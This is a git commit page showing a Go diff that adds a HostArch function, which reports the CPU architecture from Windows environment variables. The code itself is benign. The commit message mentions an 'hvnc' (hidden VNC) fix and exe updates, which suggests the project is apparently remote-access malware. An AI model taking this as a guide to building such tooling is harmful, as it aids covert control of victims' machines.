fix hvnc issue, fix build watcher issue, fix wrong type of exe being sent on updates.
This commit is contained in:
@@ -4,6 +4,8 @@ package sysinfo
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"runtime"
|
||||
"strings"
|
||||
"unsafe"
|
||||
|
||||
@@ -112,3 +114,25 @@ func totalRAM() string {
|
||||
mb := float64(ms.TotalPhys) / (1024 * 1024)
|
||||
return fmt.Sprintf("%.0f MB", mb)
|
||||
}
|
||||
|
||||
func HostArch() string {
|
||||
if arch := os.Getenv("PROCESSOR_ARCHITEW6432"); arch != "" {
|
||||
switch strings.ToLower(arch) {
|
||||
case "amd64":
|
||||
return "amd64"
|
||||
case "arm64":
|
||||
return "arm64"
|
||||
}
|
||||
}
|
||||
if arch := os.Getenv("PROCESSOR_ARCHITECTURE"); arch != "" {
|
||||
switch strings.ToLower(arch) {
|
||||
case "amd64":
|
||||
return "amd64"
|
||||
case "arm64":
|
||||
return "arm64"
|
||||
case "x86":
|
||||
return "386"
|
||||
}
|
||||
}
|
||||
return runtime.GOARCH
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user